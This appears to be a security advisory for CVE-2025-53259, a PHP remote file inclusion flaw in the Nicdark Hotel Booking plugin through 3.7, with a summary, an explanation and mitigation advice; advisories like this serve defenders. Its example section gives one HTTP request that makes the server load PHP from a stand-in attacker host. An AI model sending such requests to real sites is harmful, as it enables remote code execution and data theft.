Overview
The cybersecurity landscape is again faced with a potent threat – a PHP Remote File Inclusion vulnerability, identified as CVE-2025-53259. This vulnerability affects users of the Hotel Booking system developed by Nicdark. The issue arises from the improper control of filename for the Include/Require statement in the PHP program. It carries a significant risk due to its potential to compromise systems or lead to data leakage, emphasizing the need for immediate attention and mitigation.
Vulnerability Summary
CVE ID: CVE-2025-53259
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
Nicdark Hotel Booking | Through 3.7
How the Exploit Works
The exploit targets the improper control of filename handling for Include/Require statement in the PHP program. An attacker could manipulate these statements to include files from remote servers. This process, known as PHP Remote File Inclusion (RFI), allows the attacker to execute arbitrary code on the affected application. This could potentially lead to a system compromise and data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited:
GET /index.php?file=http://malicious.example.com/malicious.php HTTP/1.1
Host: target.example.comIn this example, the attacker is injecting a malicious PHP file hosted on their server (`http://malicious.example.com/malicious.php`) into the vulnerable application. When the server processes the request, it includes the malicious file, leading to arbitrary code execution.
Mitigation and Recommendations
Users are advised to apply the vendor patch to fix this vulnerability. As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. Regularly updating and patching software, as well as adhering to security best practices, can significantly reduce the risk of such vulnerabilities.
